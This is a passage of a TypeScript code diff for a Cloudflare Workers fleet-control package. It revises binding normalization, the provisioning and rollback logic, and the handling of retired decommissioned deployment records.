+          type: 'durable_object_namespace',
+          name: binding.name,
+          namespace_id: binding.namespaceId,
+          class_name: binding.className,
+          ...(binding.scriptName === undefined
+            ? {}
+            : { script_name: binding.scriptName }),
+          ...(binding.dispatchNamespace === undefined
+            ? {}
+            : { dispatch_namespace: binding.dispatchNamespace }),
+        };
+      case 'service':
+        return {
+          type: 'service',
+          name: binding.name,
+          service: binding.service,
+          ...(binding.entrypoint === undefined
+            ? {}
+            : { entrypoint: binding.entrypoint }),
+        };
+      case 'queue-producer':
+        return {
+          type: 'queue',
+          name: binding.name,
+          queue_name: binding.queueName,
+        };
+      case 'r2-bucket':
+        return {
+          type: 'r2_bucket',
+          name: binding.name,
+          bucket_name: binding.bucketName,
+          ...(binding.jurisdiction === undefined
+            ? {}
+            : { jurisdiction: binding.jurisdiction }),
+        };
+      case 'plain-text':
+        return {
+          type: 'plain_text',
+          name: binding.name,
+          text: binding.value,
+        };
+      case 'secret-text':
+        return { type: 'secret_text', name: binding.name };
+      case 'unsupported':
+        if (binding.issue === 'not-object') return undefined;
+        if (binding.issue === 'malformed-supported-binding') return undefined;
+        // For `invalid-type` the reconstructed type changes no message (either spelling
+        // fails the type check); for `unsupported-type` it preserves the pre-port
+        // `unsupported or malformed` refusal instead of an index-based `no valid type`.
+        // Carried as a provider fact for adapter diagnostics.
+        return { type: binding.providerType, name: binding.name };
+    }
+    // Exhaustiveness tripwire: a new normalized binding must define wire reconstruction.
+    binding satisfies never;
+    return undefined;
+  });
+}
+
+export function assertSupportedPlainWorkerBindings(
+  bindings: readonly PlainWorkerVersionBinding[],
+  context: string,
+): readonly ProviderBindingIdentity[] {
+  if (
+    bindings.some(
+      (binding) =>
+        binding.type === 'unsupported' &&
+        binding.issue === 'malformed-supported-binding',
+    )
+  ) {
+    throw new Error(
+      `${context} has an unsupported or malformed provider binding`,
+    );
+  }
+  return assertSupportedProviderBindings(
+    plainWorkerBindingsToProviderShape(bindings),
+    new Set([
+      'd1',
+      'durable_object_namespace',
+      'service',
+      'queue',
+      'r2_bucket',
+      'plain_text',
+      'secret_text',
+    ]),
+    context,
+  );
+}
+
 export function assertProviderBindingIdentitiesMatchInspection(
   inspection: Readonly<{
     databaseIds: readonly string[];
diff --git a/packages/fleet-control/src/provision.ts b/packages/fleet-control/src/provision.ts
index 5b7a58a4..40bdafb9 100644
--- a/packages/fleet-control/src/provision.ts
+++ b/packages/fleet-control/src/provision.ts
@@ -1,5 +1,6 @@
 // SPDX-License-Identifier: Apache-2.0
 
+import { randomUUID } from 'node:crypto';
 import { assertInitialExecutionFenceState } from '@proofoftech/flowsafe/deployment-identity-protocol';
 
 import {
@@ -9,22 +10,48 @@ import {
 } from './active-route.js';
 import {
   applicationBindingTopology,
-  applicationR2Bindings,
   assertApplicationR2EmptyBeforeDecommission,
   convergeApplicationR2Creation,
   convergeApplicationR2Deletion,
   DEPLOYMENT_PLATFORM_VARIABLE_NAMES,
   liveApplicationTopologyMatches,
+  PLATFORM_CATALOG_VARIABLE_NAMES,
   reserveApplicationR2Resources,
 } from './application-bindings.js';
 import {
   assertBackendSwitchInactive,
+  BACKEND_SWITCH_RECORD_ERROR,
   type BackendSwitchProvider,
+  backendSwitchFleetRecordFromUnknown,
+  commitInvocationAuthority,
   decommissionBackendSwitch,
   type FinalizedOrdinaryStateProvider,
   finalizedBridgeForRecord,
   reconcileFinalizedBackendSwitchState,
+  structuralBackendSwitchFleetRecordFromUnknown,
 } from './backend-switch.js';
+import {
+  type AdvanceCleanupDeploymentOptions,
+  advanceCleanupDeployment,
+  advanceCleanupUnderLease,
+  type CleanupAdvanceAction,
+  type CleanupAdvanceResult,
+  startProvisioningRollbackCleanup,
+} from './cleanup-advance.js';
+import {
+  activeExternalRelease,
+  advanceDecommissionDeployment,
+  assertImmutableDeploymentMapping,
+  assertNormalDecommissionD1ResourcesDeleted,
+  consumeMigrationCarrier,
+  type DecommissionAdvanceAction,
+  reconcilePersistedDatabase,
+  retainedExternalReleases,
+} from './decommission-advance.js';
+import {
+  decommissionAdvanceIntentFromUnknown,
+  isCompleteTerminalRecord,
+} from './decommission-intent.js';
 import { isSha256 } from './deployment-context.js';
 import { WorkerDeploymentError } from './deployment-error.js';
 import {
@@ -41,6 +68,7 @@ import { buildPromotionGuard } from './promotion-guard.js';
 import { assertProviderBindingIdentitiesMatchInspection } from './provider-binding-inventory.js';
 import { deploymentSpecDigest } from './spec-digest.js';
 import type {
+  CleanupAdvanceToken,
   DatabaseExport,
   DatabaseReference,
   DecommissionAuditSink,
@@ -57,92 +85,99 @@ import type {
   ProvisioningPhase,
   ProvisioningResult,
 } from './types.js';
+import {
+  assertNoActiveCleanup,
+  assertNoActiveDecommission,
+  hasActiveCleanup,
+  RETIRED_BACKEND_SWITCH_SUBPHASE,
+} from './types.js';
 import {
   targetDurableObjectTag,
   validateDeploymentSecrets,
   validateDeploymentSpec,
 } from './validation.js';
 
+function canonicalNormalDecommissionRecord(record: FleetRecord): FleetRecord {
+  const { decommissionIntent, ...source } = record;
+  try {
+    // A cleanup intent never rides beside a decommission shell; fail closed.
+    if (record.cleanupIntent !== undefined) {
+      throw new Error(BACKEND_SWITCH_RECORD_ERROR);
+    }
+    const intent = decommissionAdvanceIntentFromUnknown(
+      decommissionIntent,
+      source,
+    );
+    if (intent.identity.mode.kind !== 'normal') {
+      throw new Error(BACKEND_SWITCH_RECORD_ERROR);
+    }
+    return { ...source, decommissionIntent: intent };
+  } catch {
+    throw new Error(BACKEND_SWITCH_RECORD_ERROR);
+  }
+}
+
+export {
+  assertImmutableDeploymentMapping,
+  reconcilePersistedDatabase,
+} from './decommission-advance.js';
+
 export class ProvisioningError extends Error {
   readonly cleanupErrors: readonly unknown[];
+  /**
+   * The bounded rollback outcome, present only when the failed provision ran
+   * with `failureCleanup: 'bounded'` and the rollback admitted the engine.
+   */
+  readonly cleanup?: CleanupAdvanceResult;
 
   constructor(
     message: string,
     cause: unknown,
     cleanupErrors: readonly unknown[],
+    cleanup?: CleanupAdvanceResult,
   ) {
     super(message, { cause });
     this.name = 'ProvisioningError';
     this.cleanupErrors = cleanupErrors;
+    if (cleanup !== undefined) this.cleanup = cleanup;
   }
 }
 
-function nowIso(clock: () => number): string {
-  return new Date(clock()).toISOString();
+function canonicalStructuralValue(value: unknown): unknown {
+  if (Array.isArray(value)) return value.map(canonicalStructuralValue);
+  if (!value || typeof value !== 'object') return value;
+  return Object.fromEntries(
+    Object.keys(value as Record<string, unknown>)
+      .sort((left, right) => (left < right ? -1 : left > right ? 1 : 0))
+      .map((key) => [
+        key,
+        canonicalStructuralValue((value as Record<string, unknown>)[key]),
+      ]),
+  );
 }
 
-function activeExternalRelease(
-  record: FleetRecord,
-): import('./types.js').ExternalReleaseSnapshot | undefined {
+function sameCanonicalStructure(left: unknown, right: unknown): boolean {
   return (
-    record.activeRelease ??
-    (record.backend === 'plain-worker' &&
-    record.artifactVersion !== PENDING_ARTIFACT_VERSION
-      ? {
-          physicalScriptName: record.scriptName,
-          specDigest: record.desiredSpecDigest,
-          artifactVersion: record.artifactVersion,
-          releaseSchemaVersion: record.schemaVersion,
-          application: record.applicationBindings ?? {
-            vars: [],
-            secrets: [],
-            r2Buckets: [],
-          },
-        }
-      : undefined)
+    JSON.stringify(canonicalStructuralValue(left)) ===
+    JSON.stringify(canonicalStructuralValue(right))
   );
 }
 
-function retainedExternalReleases(
-  record: FleetRecord,
-): readonly import('./types.js').ExternalReleaseSnapshot[] {
-  const active = activeExternalRelease(record);
-  const releases = [
-    record.pendingRelease,
-    ...(record.backend === 'plain-worker' &&
-    record.pendingArtifactVersion &&
-    record.pendingSpecDigest
-      ? [
-          {
-            physicalScriptName: record.scriptName,
-            specDigest: record.pendingSpecDigest,
-            artifactVersion: record.pendingArtifactVersion,
-            releaseSchemaVersion: record.schemaVersion,
-          },
-        ]
-      : []),
-    record.rollbackRelease,
-    record.retiringRelease,
-    record.migrationPriorRelease,
-  ].filter(
-    (release): release is import('./types.js').ExternalReleaseSnapshot =>
-      release !== undefined &&
-      (record.backend === 'plain-worker'
-        ? release.artifactVersion !== active?.artifactVersion
-        : release.physicalScriptName !== active?.physicalScriptName),
-  );
-  return releases.filter(
-    (release, index) =>
-      releases.findIndex(
-        (candidate) =>
-          (record.backend === 'plain-worker'
-            ? candidate.artifactVersion
-            : candidate.physicalScriptName) ===
-          (record.backend === 'plain-worker'
-            ? release.artifactVersion
-            : release.physicalScriptName),
-      ) === index,
-  );
+function nowIso(clock: () => number): string {
+  return new Date(clock()).toISOString();
+}
+
+// The catalog mode a first reservation for this backend and specification
+// pins on the durable row. Admission reads the same expression the reservation
+// writes, so the two cannot drift.
+function reservedWfpMode(
+  backend: ProvisioningBackend,
+  spec: DeploymentSpec,
+): FleetRecord['wfpMode'] {
+  return backend.kind === 'workers-for-platforms' &&
+    spec.authoredBy === 'platform'
+    ? 'platform-catalog'
+    : undefined;
 }
 
 function recordAt(
@@ -162,9 +197,11 @@ function recordAt(
 ): FleetRecord {
   const applicationResources =
     options.applicationResources ?? reserveApplicationR2Resources(spec);
+  const wfpMode = reservedWfpMode(backend, spec);
   return {
     tenantTag: spec.tenantTag,
     backend: backend.kind,
+    ...(wfpMode ? { wfpMode } : {}),
     environment: spec.environment,
     scriptName: spec.scriptName,
     databaseId: database.id,
@@ -205,7 +242,9 @@ function expectedBindingKeys(
 export function assertLiveDeploymentMatches(
   live: import('./types.js').LiveDeployment,
   record: Pick<FleetRecord, 'tenantTag' | 'environment' | 'databaseId'> &
-    Partial<Pick<FleetRecord, 'platformResources' | 'applicationBindings'>>,
+    Partial<
+      Pick<FleetRecord, 'backend' | 'platformResources' | 'applicationBindings'>
+    >,
   spec: DeploymentSpec,
   expectedDigest: string,
   expectedApplication:
@@ -294,7 +333,10 @@ export function assertLiveDeploymentMatches(
     !liveApplicationTopologyMatches(
       application,
       live,
-      DEPLOYMENT_PLATFORM_VARIABLE_NAMES,
+      record.backend === 'workers-for-platforms' &&
+        spec.authoredBy === 'platform'
+        ? PLATFORM_CATALOG_VARIABLE_NAMES
+        : DEPLOYMENT_PLATFORM_VARIABLE_NAMES,
     ) ||
     JSON.stringify([...live.secretNames].sort()) !==
       JSON.stringify(expectedSecretNames)
@@ -478,6 +520,7 @@ async function rollbackProvisioning(
     let cleanupRecord = latestRecord ?? record;
     try {
       const resources = await convergeApplicationR2Deletion({
+        spec,
         resources: cleanupRecord.applicationResources ?? [],
         backend,
         fence: lease,
@@ -534,49 +577,6 @@ const RESUMABLE_PROVISIONING_PHASES = new Set<ProvisioningPhase>([
   'ready',
 ]);
 
-export function assertImmutableDeploymentMapping(
-  prior: FleetRecord,
-  backend: ProvisioningBackend,
-  spec: DeploymentSpec,
-): void {
-  applicationR2Bindings(spec, prior.applicationResources ?? []);
-  if (
-    prior.tenantTag !== spec.tenantTag ||
-    prior.environment !== spec.environment ||
-    prior.backend !== backend.kind ||
-    prior.scriptName !== spec.scriptName ||
-    prior.databaseName !== spec.databaseName ||
-    prior.routeHostname !== spec.routeHostname
-  ) {
-    throw new Error(
-      `deployment '${spec.tenantTag}:${spec.environment}' already exists with a different immutable resource mapping`,
-    );
-  }
-  if (
-    prior.schemaVersion > spec.schemaVersion &&
-    !(
-      backend.immutableExternalArtifacts === true &&
-      spec.authoredBy === 'external' &&
-      prior.activeRelease?.releaseSchemaVersion === spec.schemaVersion
-    )
-  ) {
-    throw new Error('provisioning refuses a schema downgrade');
-  }
-  if (
-    prior.phase !== 'ready' &&
-    prior.phase !== 'rolling-back' &&
-    (prior.phase === 'migrating'
-      ? (prior.migrationIntent?.targetSpecDigest ??
-        prior.pendingRelease?.specDigest ??
-        prior.pendingSpecDigest)
-      : prior.desiredSpecDigest) !== deploymentSpecDigest(spec)
-  ) {
-    throw new Error(
-      `deployment '${spec.tenantTag}:${spec.environment}' retry uses a different desired specification`,
-    );
-  }
-}
-
 export interface ProvisionDeploymentOptions {
   readonly backend: ProvisioningBackend;
   readonly store: FleetStateStore;
@@ -606,9 +606,138 @@ export interface ProvisionDeploymentOptions {
    * The defaults suit every provider this package targets.
    */
   readonly routeAttestation?: AttestConvergedActiveRouteOptions;
+  /**
+   * How a failed provision rolls back once the bounded cleanup engine admits
+   * it. `'drain'` (the default) drains the engine to its terminal receipt
+   * within the failing call; `'bounded'` performs at most one bounded advance
+   * and surfaces the outcome through `ProvisioningError.cleanup` so the caller
+   * resumes the durable operation with `advanceCleanupDeployment()`.
+   */
+  readonly failureCleanup?: 'drain' | 'bounded';
   readonly clock?: () => number;
 }
 
+// The residue a terminal `decommissioned` row still describes, or `undefined`
+// when the row describes none. Written as a reason rather than a boolean so
+// the refusal below names what the operator has to resolve.
+//
+// A switch-carrying row is read against the subphase whose teardown evidence
+// `isCompleteTerminalRecord` matches; every other subphase, settled ones
+// included, is named as the switch record it is rather than falling through
+// to the teardown-evidence reason.
+function retainedTerminalResidue(record: FleetRecord): string | undefined {
+  const switchSubphase = record.backendSwitchIntent?.subphase;
+  if (
+    switchSubphase !== undefined &&
+    switchSubphase !== RETIRED_BACKEND_SWITCH_SUBPHASE
+  ) {
+    return `a backend-switch record in subphase '${switchSubphase}'`;
+  }
+  const retained = (record.applicationResources ?? []).filter(
+    (resource) => resource.state !== 'deleted',
+  );
+  // The bucket name is what the operator removes; the binding names which
+  // declaration in the spec reserved it.
+  const retainedBuckets = retained.map(
+    (resource) => `'${resource.bucketName}' (binding '${resource.name}')`,
+  );
+  if (retainedBuckets.length > 0) {
+    return `retained application R2 resources ${retainedBuckets.join(', ')}`;
+  }
+  if (!isCompleteTerminalRecord(record)) {
+    return 'incomplete teardown evidence: a completed decommission records the database export location, digest, and byte count and leaves no pending lifecycle field';
+  }
+  return undefined;
+}
+
+// Reads a stored row already known to be in the terminal phase as a RETIRED
+// record: one `provisionDeployment` treats as an absent prior rather than as a
+// lifecycle to resume.
+//
+// The row is the evidence, read against the package's own definition of a
+// completed decommission record in `isCompleteTerminalRecord`, so a teardown
+// that never finished refuses instead — including the row a forced
+// decommission strands between its terminal state write and its row delete,
+// which records no database export. That definition reads a switch-carrying
+// row against the export and application-resource evidence only the retired
+// subphase records, and nothing in this package clears a settled switch
+// intent, so a row whose switch settled at `finalized` or `rolled-back` is
+// refused by that subphase. The predicate reads the row, not its provenance:
+// a row carrying that same evidence reads as retired however it was written.
+//
+// Behind that evidence stand the steps a normal decommission ran: it deleted
+// the application R2 buckets the row carries at `deleted`, then deleted the D1
+// database and read it back absent (`decommissionDeployment`'s
+// `database-deleting` phase), and the backend it asked to detach that database
+// asserted the row's Durable Object namespaces absent first. A terminal row
+// therefore evidences namespace absence by the mechanism that evidences D1
+// absence. A force-produced row ran none of those assertions, and the export
+// triple it lacks is what refuses it above.
+//
+// An ordinary Worker script a forced decommission leaves behind is outside the
+// row's description. A fresh provision over this slug meets it at the
+// provider: `assertReservedDatabaseNameFree` refuses a database already
+// answering to the reserved name, and `PlainWorkerBackend` refuses to upload
+// over a surviving script whose deployed versions bind another tenant,
+// environment, or database. `WorkersForPlatformsBackend.deployWorker` carries
+// no equivalent script refusal.
+//
+// Two kinds of clause answer this, and they are split by what they produce.
+// `residue` decides retirement AND names what the refusal below renders, so
+// the caller computes it once and passes it here rather than recomputing it
+// there. The decommission and cleanup intents decide retirement only: a row
+// they reject carries no reason of its own and refuses through the guard that
+// owns it. Those two clauses live here rather than beside the guards that
+// mirror them because normalization runs before `assertNoActiveDecommission`
+// and the cleanup redirect, so a row admitted here reaches neither guard.
+function isRetiredTerminalRecord(
+  record: FleetRecord,
+  residue: string | undefined,
+): boolean {
+  if (residue !== undefined) return false;
+  const decommission = record.decommissionIntent;
+  if (decommission && decommission.state !== 'complete') return false;
+  return !hasActiveCleanup(record);
+}
+
+// Refuses a retired row whose persisted deployment mode is not the one this
+// specification reserves. The store pins `wfpMode` from the first reservation
+// and refuses an upsert that changes an established one; a retired row is
+// replaced through that same upsert, so the mismatch is named here, before the
+// first write, instead of surfacing as a constraint violation. A row that
+// persisted no mode is the case the store admits, and is admitted here too.
+function assertRetiredDeploymentMode(
+  retired: FleetRecord,
+  backend: ProvisioningBackend,
+  spec: DeploymentSpec,
+): void {
+  const reserved = reservedWfpMode(backend, spec);
+  if (retired.wfpMode === undefined || retired.wfpMode === reserved) return;
+  throw new Error(
+    `deployment '${spec.tenantTag}:${spec.environment}' has a retired terminal record in deployment mode '${retired.wfpMode}' and this specification reserves '${reserved ?? 'unmarked'}'; an established catalog mode cannot change, so clear the record with forceDecommissionDeployment() before provisioning this name again`,
+  );
+}
+
+// Refuses a database that already answers to the name this provision reserves.
+// Over a retired terminal row the caller passes that row's database ID, so an
+// operator reading the refusal can tell the retired deployment's own
+// resurrected database from a foreign one answering to the same name.
+async function assertReservedDatabaseNameFree(
+  backend: ProvisioningBackend,
+  spec: DeploymentSpec,
+  retiredDatabaseId?: string,
+): Promise<void> {
+  const existingDatabase = await backend.findDatabase(spec);
+  if (existingDatabase) {
+    const retired = retiredDatabaseId
+      ? `; the retired terminal record held database '${retiredDatabaseId}'`
+      : '';
+    throw new Error(
+      `refusing to claim pre-existing database '${existingDatabase.id}:${existingDatabase.name}' for reserved name '${spec.databaseName}'${retired}`,
+    );
+  }
+}
+
 // `async` so the entry validation below REJECTS rather than throwing
 // synchronously: every caller and every test treats this as a promise-returning
 // function, and a synchronous throw would escape an unguarded `.catch()`.
@@ -655,8 +784,40 @@ async function provisionDeploymentUnderLease(
       'maintenanceBaseUrl must use a control-plane hostname distinct from routeHostname',
     );
   }
-  const prior = await store.get(spec.tenantTag, spec.environment);
-  if (prior) assertBackendSwitchInactive(prior);
+  const stored = await store.get(spec.tenantTag, spec.environment);
+  // The terminal reading of the stored row, taken ONCE: `terminal` is the row
+  // only while its phase is the terminal one, and `terminalResidue` is what
+  // that row still describes. Both the retirement test below and the refusal
+  // that renders the reason read these two bindings.
+  const terminal = stored?.phase === 'decommissioned' ? stored : undefined;
+  const terminalResidue =
+    terminal === undefined ? undefined : retainedTerminalResidue(terminal);
+  const retiredPrior =
+    terminal !== undefined && isRetiredTerminalRecord(terminal, terminalResidue)
+      ? terminal
+      : undefined;
+  // Normalized ONCE, here: `prior` is what the lifecycle guards, the immutable
+  // mapping asserts, the phase refusal, `record` and `databaseReservationOwned`
+  // read below. A branch that admitted the retired row at one of those sites
+  // and left the rest reading the raw row would hold `databaseReservationOwned`
+  // at false and disable the failed-provision unwind for the database and
+  // Worker this attempt created.
+  const prior = retiredPrior === undefined ? stored : undefined;
+  if (retiredPrior) {
+    assertRetiredDeploymentMode(retiredPrior, backend, spec);
+  }
+  if (prior) {
+    assertNoActiveDecommission(prior, 'provisionDeployment');
+    // The fixed redirect IS this entry's cleanup guard: it must fire before
+    // the generic non-resumable-phase refusal so a rollback that admitted the
+    // bounded engine routes to cleanup instead of a provisioning retry.
+    if (hasActiveCleanup(prior)) {
+      throw new Error(
+        `deployment '${spec.tenantTag}:${spec.environment}' has an active bounded cleanup; complete it with cleanupDeploymentArtifacts() or advanceCleanupDeployment() before provisioning again`,
+      );
+    }
+    assertBackendSwitchInactive(prior);
+  }
   const finalizedOrdinaryState =
     prior?.backendSwitchIntent?.subphase === 'finalized' &&
     prior.platformResources?.stateWorker.plane === 'ordinary';
@@ -685,6 +846,16 @@ async function provisionDeploymentUnderLease(
   if (prior) {
     assertImmutableDeploymentMapping(prior, backend, spec);
     assertPlatformDurableObjectHistory(prior, spec);
+    // A terminal row that reaches here failed `isRetiredTerminalRecord` on the
+    // residue normalization already read, so it still describes that residue.
+    // It refuses by that reason instead of by the generic phase message,
+    // because the remedy is a physical one the operator performs before the
+    // record can be cleared.
+    if (terminalResidue !== undefined) {
+      throw new Error(
+        `deployment '${spec.tenantTag}:${spec.environment}' has a decommissioned record with ${terminalResidue}; confirm the residual physical resources are removed, then clear the record with forceDecommissionDeployment() before provisioning this name again`,
+      );
+    }
     if (!RESUMABLE_PROVISIONING_PHASES.has(prior.phase)) {
       throw new Error(
         `deployment '${spec.tenantTag}:${spec.environment}' cannot be provisioned from phase '${prior.phase}'`,
@@ -781,12 +952,18 @@ async function provisionDeploymentUnderLease(
           rollbackCompatibleTarget,
         );
         if (
-          JSON.stringify(platform.resources) !==
-            JSON.stringify(converged.platformResources) ||
-          JSON.stringify(rollbackCompatibleTarget) !==
-            JSON.stringify(converged.platformTarget) ||
-          JSON.stringify(rollbackCompatibleTarget.outboundPolicy) !==
-            JSON.stringify(converged.outboundPolicy)
+          !sameCanonicalStructure(
+            platform.resources,
+            converged.platformResources,
+          ) ||
+          !sameCanonicalStructure(
+            rollbackCompatibleTarget,
+            converged.platformTarget,
+          ) ||
+          !sameCanonicalStructure(
+            rollbackCompatibleTarget.outboundPolicy,
+            converged.outboundPolicy,
+          )
         ) {
           converged = {
             ...converged,
@@ -820,6 +997,7 @@ async function provisionDeploymentUnderLease(
     }
     let maintenance = live.maintenance;
     if (!maintenance.armed) {
+      converged = await commitInvocationAuthority(lease, converged, clock);
       await lease.assertOwned();
       maintenance = await backend.ensureMaintenance(
         spec,
@@ -841,21 +1019,38 @@ async function provisionDeploymentUnderLease(
     prior.phase === 'database-reserved' ||
     prior.phase === 'database-create-authorized';
   try {
+    // A retired terminal record is still the stored row here and `lease.put`
+    // is an unconditional upsert, so the reserved-name proof runs before the
+    // claim: proving it afterwards would have replaced the export location,
+    // digest and size that `decommissionDeployment` replays from, for a
+    // provision that then refuses. An absent prior proves the name after its
+    // reservation is written, so `cleanupDeploymentArtifacts()` has a durable
+    // row to clear with a receipt.
+    if (retiredPrior !== undefined) {
+      await assertReservedDatabaseNameFree(
+        backend,
+        spec,
+        retiredPrior.databaseId,
+      );
+    }
     if (!record) {
       const reservation: DatabaseReference = {
         id: `reserved-${deploymentSpecDigest(spec).slice(0, 48)}`,
         name: spec.databaseName,
         created: true,
       };
-      record = recordAt(backend, spec, reservation, 'database-reserved', clock);
+      record = {
+        ...recordAt(backend, spec, reservation, 'database-reserved', clock),
+        // A new deployment carries the never-authorized carrier from its
+        // FIRST durable put so later cleanup can distinguish "no candidate
+        // invocation ever authorized" from a legacy row.
+        invocationAuthority: { version: 1, authorizedAt: null },
+      };
       await lease.put(record);
     }
     if (record.phase === 'database-reserved') {
-      const existingDatabase = await backend.findDatabase(spec);
-      if (existingDatabase) {
-        throw new Error(
-          `refusing to claim pre-existing database '${existingDatabase.id}:${existingDatabase.name}' for reserved name '${record.databaseName}'`,
-        );
+      if (retiredPrior === undefined) {
+        await assertReservedDatabaseNameFree(backend, spec);
       }
       record = {
         ...record,
@@ -867,9 +1062,14 @@ async function provisionDeploymentUnderLease(
     if (record.phase === 'database-create-authorized') {
       await lease.assertOwned();
       database = await backend.ensureDatabase(spec, lease);
-      record = recordAt(backend, spec, database, 'database-created', clock, {
-        applicationResources: record.applicationResources,
-      });
+      record = {
+        ...recordAt(backend, spec, database, 'database-created', clock, {
+          applicationResources: record.applicationResources,
+        }),
+        ...(record.invocationAuthority
+          ? { invocationAuthority: record.invocationAuthority }
+          : {}),
+      };
       await lease.put(record);
     } else {
       database = await reconcilePersistedDatabase(
@@ -1048,6 +1248,12 @@ async function provisionDeploymentUnderLease(
       (record.phase === 'application-resources-deployed' &&
         spec.authoredBy !== 'external')
     ) {
+      if (backend.immutableExternalArtifacts === true) {
+        // External upload is the dispatch trigger, so the flip commits before
+        // it; the trusted plain initial deploy is deliberately NOT a flip
+        // site, preserving no-export cleanup at worker-deployed.
+        record = await commitInvocationAuthority(lease, record, clock);
+      }
       await lease.assertOwned();
       const deployed = await backend.deployWorker(
         spec,
@@ -1060,6 +1266,7 @@ async function provisionDeploymentUnderLease(
       );
       workerCreated = deployed.created;
       workerResourceState = deployed.created ? 'present' : 'absent';
+      const deployedDurableObjectTag = targetDurableObjectTag(spec);
       record = {
         ...record,
         phase: 'worker-deployed',
@@ -1084,7 +1291,9 @@ async function provisionDeploymentUnderLease(
               },
             }
           : {}),
-        durableObjectTag: targetDurableObjectTag(spec),
+        ...(deployedDurableObjectTag
+          ? { durableObjectTag: deployedDurableObjectTag }
+          : {}),
         ...(spec.authoredBy === 'platform'
           ? {
               durableObjectMigrationHistory:
@@ -1126,6 +1335,9 @@ async function provisionDeploymentUnderLease(
         );
       }
       if (!live || live.desiredSpecDigest !== record.desiredSpecDigest) {
+        if (backend.immutableExternalArtifacts === true) {
+          record = await commitInvocationAuthority(lease, record, clock);
+        }
         await lease.assertOwned();
         const deployed = await backend.deployWorker(
           spec,
@@ -1185,6 +1397,10 @@ async function provisionDeploymentUnderLease(
           'maintenance bootstrap',
         );
       }
+      // Dedicated flip put: maintenance is the first candidate-invoking
+      // request for trusted plain deployments, and the flip must never ride
+      // the worker-deployed put, which stays no-export-eligible.
+      record = await commitInvocationAuthority(lease, record, clock);
       await lease.assertOwned();
       maintenance = await backend.ensureMaintenance(
         spec,
@@ -1209,11 +1425,14 @@ async function provisionDeploymentUnderLease(
           'maintenance bootstrap',
         );
       }
+      const liveDurableObjectTag = targetDurableObjectTag(spec);
       record = {
         ...record,
         phase: 'maintenance-armed',
         artifactVersion: live.artifactVersion,
-        durableObjectTag: targetDurableObjectTag(spec),
+        ...(liveDurableObjectTag
+          ? { durableObjectTag: liveDurableObjectTag }
+          : {}),
         ...(spec.authoredBy === 'platform'
           ? {
               durableObjectMigrationHistory:
@@ -1233,7 +1452,21 @@ async function provisionDeploymentUnderLease(
     }
 
     if (record.phase === 'maintenance-armed') {
-      record = { ...record, phase: 'publishing', updatedAt: nowIso(clock) };
+      record = {
+        ...record,
+        // The flip rides this already export-required transition; here it is
+        // consistency for legacy rows, not an eligibility change.
+        ...(typeof record.invocationAuthority?.authorizedAt === 'string'
+          ? {}
+          : {
+              invocationAuthority: {
+                version: 1 as const,
+                authorizedAt: nowIso(clock),
+              },
+            }),
+        phase: 'publishing',
+        updatedAt: nowIso(clock),
+      };
       await lease.put(record);
     }
 
@@ -1264,6 +1497,9 @@ async function provisionDeploymentUnderLease(
           'release publication',
         );
       }
+      // A no-op unless a legacy row resumed directly at 'publishing' without
+      // riding the flip on the transition put above.
+      record = await commitInvocationAuthority(lease, record, clock);
       await lease.assertOwned();
       await backend.promoteWorker(
         spec,
@@ -1323,11 +1559,14 @@ async function provisionDeploymentUnderLease(
         readyRecord.activeRelease = readyRecord.pendingRelease;
         delete readyRecord.pendingRelease;
       }
+      const routedDurableObjectTag = targetDurableObjectTag(spec);
       record = {
         ...readyRecord,
         phase: 'ready',
         artifactVersion: attestation.artifactVersion,
-        durableObjectTag: targetDurableObjectTag(spec),
+        ...(routedDurableObjectTag
+          ? { durableObjectTag: routedDurableObjectTag }
+          : {}),
         durableObjectBindings: live.durableObjectBindings,
         updatedAt: nowIso(clock),
       };
@@ -1356,39 +1595,98 @@ async function provisionDeploymentUnderLease(
         [],
       );
     }
-    const cleanup =
+    let cleanupErrors: readonly unknown[];
+    let boundedOutcome: CleanupAdvanceResult | undefined;
+    if (
+      record !== undefined &&
+      databaseReservationOwned &&
+      database !== undefined &&
+      // Today's rollback is destructive only once ownership is proven or the
+      // attempt created the Worker; an unproven no-worker failure keeps its
+      // resumable row (the engine could never delete that database and would
+      // wedge the operation at 'cleanup-advancing').
+      (databaseOwnershipProven || workerCreated) &&
+      // Legacy stacks without the bounded capabilities keep the in-memory
+      // rollback: admitting the engine without a terminal or scan capability
+      // would strand a durable 'cleanup-advancing' row it can never finish
+      // (the same capability split decommissionDeployment already applies).
+      Reflect.has(backend, 'advanceDecommissionAttachmentScan') &&
+      Reflect.has(backend, 'assertDatabaseDeletionResidualsRemoved') &&
+      Reflect.has(lease, 'completeCleanup')
+    ) {
+      // The attempt owns the reservation and the database outcome is
+      // resolved: rollback runs through the bounded cleanup engine under the
+      // held lease. Refusals (external candidates, WFP, authorized
+      // invocation) throw before any mutation, persist no intent, and leave
+      // the row at its phase; an admitted rollback is durably
+      // 'cleanup-advancing' and its all-clean terminal writes the receipt in
+      // place of the old bare row delete.
+      const rollback = await rollbackThroughBoundedCleanup({
+        lease,
+        backend,
+        store,
+        spec,
+        record,
+        mode: options.failureCleanup ?? 'drain',
+        authority: {
+          kind: 'provisioning-rollback',
+          reservationOwned: databaseReservationOwned,
+          databaseOwned: databaseOwnershipProven,
+          workerCreatedByAttempt: workerCreated,
+          workerResourceState,
+          requestedSpecDigest: deploymentSpecDigest(spec),
+        },
+        ...(options.clock ? { clock: options.clock } : {}),
+      });
+      cleanupErrors = rollback.errors;
+      // The default drain keeps the historical error shape; only the
+      // explicitly bounded mode surfaces the resumable outcome.
+      if ((options.failureCleanup ?? 'drain') === 'bounded') {
+        boundedOutcome = rollback.cleanup;
+      }
+    } else if (
       (record?.phase === 'database-reserved' ||
         record?.phase === 'database-create-authorized') &&
       !database
-        ? {
-            errors: [
-              new Error('reserved database creation outcome is unresolved'),
-            ] as readonly unknown[],
-            ...(record ? { record } : {}),
-          }
-        : await rollbackProvisioning(
-            lease,
-            backend,
-            spec,
-            database,
-            databaseReservationOwned && workerCreated,
-            workerResourceState,
-            databaseReservationOwned &&
-              database !== undefined &&
-              databaseOwnershipProven,
-            databaseReservationOwned ? record?.platformResources : undefined,
-            databaseReservationOwned ? record : undefined,
-          );
-    record = cleanup.record ?? record;
-    const cleanupErrors = cleanup.errors;
-    if (
-      databaseReservationOwned &&
-      cleanupErrors.length === 0 &&
-      (!database || databaseOwnershipProven)
     ) {
-      await lease.delete();
-    } else if (record) {
+      cleanupErrors = [
+        new Error('reserved database creation outcome is unresolved'),
+      ];
       await lease.put(record);
+    } else {
+      // Record-less, non-owned, or worker-without-database rollbacks keep the
+      // pre-engine in-memory branch verbatim; the engine handles only
+      // record-bearing owned rollbacks with a resolved database outcome.
